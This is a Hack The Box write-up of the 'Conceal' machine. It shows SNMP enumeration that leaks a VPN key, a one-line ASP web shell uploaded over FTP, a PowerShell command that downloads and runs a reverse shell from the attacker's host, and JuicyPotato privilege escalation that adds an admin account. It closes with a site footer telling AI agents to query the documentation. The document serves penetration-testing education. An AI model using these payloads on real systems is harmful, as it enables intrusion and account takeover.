# Conceal

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Ft8eJfnnXTk4hrRSrPD0O%2Fconceal.png?alt=media&#x26;token=42ced00c-5837-4680-aa18-87b19bb5135b" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.116 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Tue Sep 20 22:42:36 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.116
Nmap scan report for 10.10.10.116
Host is up.
All 65535 scanned ports on 10.10.10.116 are in ignored states.
Not shown: 65535 filtered tcp ports (no-response)

# Nmap done at Tue Sep 20 22:43:04 2022 -- 1 IP address (1 host up) scanned in 27.46 seconds
```

{% endcode %}

There are no ports open, or at least that is what it looks like. But, if we scan the UDP ports, we'll see that ports *161*, and *500* are open.

> nmap -sU -p- --min-rate 10000 -n -Pn -oN allPortsUDP 10.10.10.116

* `-sU` scan **UDP** ports.
* `--min-rate 10000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535.**
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```bash
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-21 01:46 CEST
Nmap scan report for 10.10.10.116
Host is up (0.057s latency).
Not shown: 65533 open|filtered udp ports (no-response)
PORT    STATE SERVICE
161/udp open  snmp
500/udp open  isakmp

Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
```

As we can see in the [Wikipedia list of TCP and UDP ports](https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers), port *161* is for *Simple Network Management Protocol (SNMP)*, and port *500* is used by most *IPSEC-based VPN* systems for the establishment of securely encrypted "tunnels" between endpoint machines.

## Exploitation

Sometimes, we can get useful information from the *SNMP* service. In this case, we can get a password hash using *snmpwalk*.

> snmpwalk -v 2c -c public 10.10.10.116

* `-v` specifies SNMP **version** to use.
* `-c` set the **community string**.

```
...
iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"
iso.3.6.1.2.1.1.5.0 = STRING: "Conceal"
...
```

We can see with *crackstation*, that the password is `Dudecake1!`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FtmHkWlLcgbKNac9YIf4G%2Fimage.png?alt=media&#x26;token=b8172c10-9147-4315-9ee5-2c424d80c100" alt=""><figcaption></figcaption></figure>

Now that we have a password, we could try to connect to the *IPSEC VPN* on port 500. But first, we need more information about the *Internet Key Exchange (IKE)*.

> ike-scan 10.10.10.116 -M

* `-M` split the payload decode across **multiple lines**.

```
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.10.116    Main Mode Handshake returned
        HDR=(CKY-R=70d7ac70dfe4ef11)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
        VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
        VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
        VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
        VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
        VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.055 seconds (18.16 hosts/sec).  1 returned handshake; 0 returned notify
```

Finally, before configuring connecting the VPN, we need to install some tools, and adjust the HTB network interface.

> apt-get install strongswan libstrongswan-extra-plugins
>
> ifconfig tun0 mtu 1000

Now we are ready to start modifying the configuration files necessary to connect to the VPN. First, we'll have to add the password we found to the `/etc/ipsec.secrets`.

> nano /etc/ipsec.secrets

```
# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

%any : PSK "Dudecake1!"
```

Then, we have to configure a new connection in the `/etc/ipsec.conf` with the following options.

> nano /etc/ipsec.conf

```tsconfig
conn conceal
    authby=secret
    auto=add
    ike=3des-sha1-modp1024
    esp=3des-sha1
    fragmentation=yes
    type=transport
    keyexchange=ikev1
    left=10.10.14.8
    leftprotoport=tcp
    right=10.10.10.116
    rightprotoport=tcp
    rightsubnet=10.10.10.116[tcp]
```

Then, restart the *ipsec* service, and connect to the *VPN* we just set up.

> ipsec restart
>
> ipsec up conceal

```
initiating Main Mode IKE_SA conceal[1] to 10.10.10.116
generating ID_PROT request 0 [ SA V V V V V ]
sending packet: from 10.10.14.8[500] to 10.10.10.116[500] (236 bytes)
received packet: from 10.10.10.116[500] to 10.10.14.8[500] (208 bytes)
parsed ID_PROT response 0 [ SA V V V V V V ]
received MS NT5 ISAKMPOAKLEY vendor ID
received NAT-T (RFC 3947) vendor ID
received draft-ietf-ipsec-nat-t-ike-02\n vendor ID
received FRAGMENTATION vendor ID
received unknown vendor ID: fb:1d:e3:cd:f3:41:b7:ea:16:b7:e5:be:08:55:f1:20
received unknown vendor ID: e3:a5:96:6a:76:37:9f:e7:07:22:82:31:e5:ce:86:52
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
generating ID_PROT request 0 [ KE No NAT-D NAT-D ]
sending packet: from 10.10.14.8[500] to 10.10.10.116[500] (244 bytes)
received packet: from 10.10.10.116[500] to 10.10.14.8[500] (260 bytes)
parsed ID_PROT response 0 [ KE No NAT-D NAT-D ]
generating ID_PROT request 0 [ ID HASH N(INITIAL_CONTACT) ]
sending packet: from 10.10.14.8[500] to 10.10.10.116[500] (100 bytes)
received packet: from 10.10.10.116[500] to 10.10.14.8[500] (68 bytes)
parsed ID_PROT response 0 [ ID HASH ]
IKE_SA conceal[1] established between 10.10.14.8[10.10.14.8]...10.10.10.116[10.10.10.116]
scheduling reauthentication in 10152s
maximum IKE_SA lifetime 10692s
generating QUICK_MODE request 526873345 [ HASH SA No ID ID ]
sending packet: from 10.10.14.8[500] to 10.10.10.116[500] (220 bytes)
received packet: from 10.10.10.116[500] to 10.10.14.8[500] (188 bytes)
parsed QUICK_MODE response 526873345 [ HASH SA No ID ID ]
selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
CHILD_SA conceal{1} established with SPIs cf315afa_i 52e3e458_o and TS 10.10.14.8/32[tcp] === 10.10.10.116/32[tcp]
connection 'conceal' established successfully
```

If now we scan the ports of the machine, we'll see some open. Make sure to make a *TCP* scan.

> nmap -sT --min-rate 5000 -p- -T5 -Pn -n 10.10.10.116 -oN allPorts

* `-sT` TCP connect scan is the default **TCP scan** type when SYN scan is not an option..
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```bash
# Nmap 7.92 scan initiated Wed Sep 21 00:00:06 2022 as: nmap -sT --min-rate 5000 -n -Pn -p- -oN allPortsVPN 10.10.10.116
Nmap scan report for 10.10.10.116
Host is up (0.055s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

# Nmap done at Wed Sep 21 00:00:25 2022 -- 1 IP address (1 host up) scanned in 18.88 seconds
```

There is an FTP server which allows *anonymous* login. But the file server is empty.

> ftp 10.10.10.116

```
Connected to 10.10.10.116.
220 Microsoft FTP Service
Name (10.10.10.116:alfa8sa): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49718|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
```

The website just shows the default *Windows Web Server IIS* website.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F89R0bB9zBgckNmtx84Mq%2Fimage.png?alt=media&#x26;token=70af495d-0c9c-44bc-8086-06e7050fd5f2" alt=""><figcaption></figcaption></figure>

If we search for subdirectories with gobuster, we'll find the `/upload` directory.

> gobuster dir -u <http://10.10.10.116> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.

```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.116
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
2022/09/21 02:12:12 Starting gobuster in directory enumeration mode
===============================================================
/upload               (Status: 301) [Size: 150] [--> http://10.10.10.116/upload/]
                                                                                 
===============================================================
2022/09/21 02:15:52 Finished
===============================================================
```

The `/upload` directory is empty.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F84e1Luj8qrcmdaqnf7h1%2Fimage.png?alt=media&#x26;token=187374fa-152d-456b-9b88-fa2e3f180f15" alt=""><figcaption></figcaption></figure>

But, if we upload a `test.txt` file to the FTP server.

> ftp> put test.txt

We'll see the file in the `/upload` directory, and we could access it.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FF5K12cHnPVLFixbNGSzC%2Fimage.png?alt=media&#x26;token=d4a7b337-8664-4427-a622-df28d500a226" alt=""><figcaption></figcaption></figure>

Let's try to run commands on the system by uploading a `.asp` file. First, make the `cmd.asp` file with the following content.

> nano cmd.asp

{% code overflow="wrap" %}

```aspnet
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
```

{% endcode %}

Now, upload it to the FTP server.

> ftp> put cmd.asp

And run commands with the `cmd` GET parameter.

> <http://10.10.10.116/upload/cmd.asp?cmd=whoami>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FcFB2EsUtdYnb7GrnHdWU%2Fimage.png?alt=media&#x26;token=42e08987-71dc-44d0-8f78-67c32a035182" alt=""><figcaption></figcaption></figure>

Time to get a shell. First, download the [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) file from *Nishang*, and add the following function at the end of the script. I will rename the file.

> mv Invoke-PowerShellTcp.ps1 rv.ps1
>
> nano rv.ps1

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4444
```

Now, set a *netcat* listener on port *4444* with *rlwrap*.

> rlwrap nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

And set a simple HTTP server with python on the current directory.

> python -m http.server 80

Now, if we access the following URL, the machine will download the `rv.ps1` file, and will send us a reverse shell as the `conceal\destitute` user. Then we'll be able to grab the user flag.

> <http://10.10.10.116/upload/cmd.asp?cmd=powershell> IEX(New-Object Net.WebClient).downloadString('<http://10.10.14.8/rv.ps1>')

```
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.116] 49724
Windows PowerShell running as user CONCEAL$ on CONCEAL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\SysWOW64\inetsrv>whoami
conceal\destitute
PS C:\Windows\SysWOW64\inetsrv> type \users\destitute\desktop\proof.txt
6E9FDFE0DCB66E700FB9CB824AE5A6FF
```

## Privilege Escalation

Let's see what privileges the user `conceal\destitute` has.

> whoami /priv

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
```

If a user has the *SeImpersonatePrivilege*, the first thing that comes to mind is *JuicyPotato*.

{% hint style="info" %}
**JuicyPotato** is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that *SeImpersonate* or *SeAssignPrimaryToken* are enabled.

<https://github.com/ohpe/juicy-potato>
{% endhint %}

To escalate privileges, we'll have to transfer `JuicyPotato.exe` to the victim machine. Let's set a python *HTTP* server on the directory where we have the *JuicyPotato* binary.

> python -m SimpleHTTPServer

And download the binaries from the desktop folder of the `nt authority\iusr` user.

> certutil.exe -f -urlcache -split <http://10.10.14.11:8000/JuicyPotato.exe> JuicyPotato.exe

The idea is to create a new user called `alfa8sa`, then add that user to the `administrators` group, modify some necessary registry, and then we'll be able to get a shell as the `NT AUTHORITY\SYSTEM` user with the `psexec.py` tool. Let's run the *JuicyPotato* binary to create the new user.

> .\JuicyPotato.exe -t \* -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user alfa8sa alfa8sa123$! /add"

* `-t` **createprocess** call.
* `-l` COM server listen **port**.
* `-p` **program** to launch.
* `-a` specify command **arguments**.

```
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
COM -> recv failed with error: 10038
```

But we get an error. This is happening because *JuicyPotato* is using the default *CLSID*. If check for system information, we'll see the machine is a `Microsoft Windows 10 Enterprise`.

> systeminfo

```
Host Name:                 CONCEAL
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.15063 N/A Build 15063
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00329-00000-00003-AA343
Original Install Date:     12/10/2018, 20:04:27
System Boot Time:          21/09/2022, 00:05:36
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-gb;English (United Kingdom)
Input Locale:              en-gb;English (United Kingdom)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,100 MB
Virtual Memory: Max Size:  3,199 MB
Virtual Memory: Available: 2,272 MB
Virtual Memory: In Use:    927 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.116
                                 [02]: fe80::b902:b205:2eba:669a
                                 [03]: dead:beef::69ca:1ad1:5bb4:f67d
                                 [04]: dead:beef::b902:b205:2eba:669a
                                 [05]: dead:beef::203
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
```

So we have to change the *CLSID* to a valid one. You can check a Windows 10 Enterprise *CLSID* list [here](https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise).

{% hint style="info" %}
The Class ID, or **CLSID**, is a serial number that represents a unique ID for any application component in Windows. In practice, this means all registry entries for an application component can usually be found under the registry key HKEY\_CLASSES\_ROOT\CLSID{CLSID value}.
{% endhint %}

If we change it for `{5B3E6773-3A99-4A3D-8096-7765DD11785C}`, the user will be created.

> .\JuicyPotato.exe -t \* -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user alfa8sa alfa8sa123$! /add" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

* `-t` **createprocess** call.
* `-l` COM server listen **port**.
* `-p` **program** to launch.
* `-a` specify command **arguments**.
* `-c` use **CLSID**.

```
Testing {5B3E6773-3A99-4A3D-8096-7765DD11785C} 1337
......
[+] authresult 0
{5B3E6773-3A99-4A3D-8096-7765DD11785C};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
```

Now, add the `alfa8sa` user to the `administrators` group.

> .\JuicyPotato.exe -t \* -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators alfa8sa /add" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

We can check that the `alfa8sa` user is a member of the `administrators` group.

> net user alfa8sa

```
User name                    alfa8sa
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            21/09/2022 00:31:48
Password expires             02/11/2022 00:31:48
Password changeable          21/09/2022 00:31:48
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users                
Global Group memberships     *None                 
The command completed successfully.
```

To be able to get a shell with *psexec.py*, we'll need to modify certain registry.

> .\JuicyPotato.exe -t \* -l 1337 -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG\_DWORD /d 1 /f" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

Finally, if we get a shell as `nt authority\system` with *psexec.py*, then all we have to do is reap the harvest and take the root flag.

> psexec.py WORKGROUP/alfa8sa:'alfa8sa123$!'@10.10.10.116

```
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.116.....
[*] Found writable share ADMIN$
[*] Uploading file GsbtFazN.exe
[*] Opening SVCManager on 10.10.10.116.....
[*] Creating service sOJN on 10.10.10.116.....
[*] Starting service sOJN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type \users\administrator\desktop\proof.txt
5737DD2EDC29B5B219BC43E60866BE08
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/windows-machines/conceal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
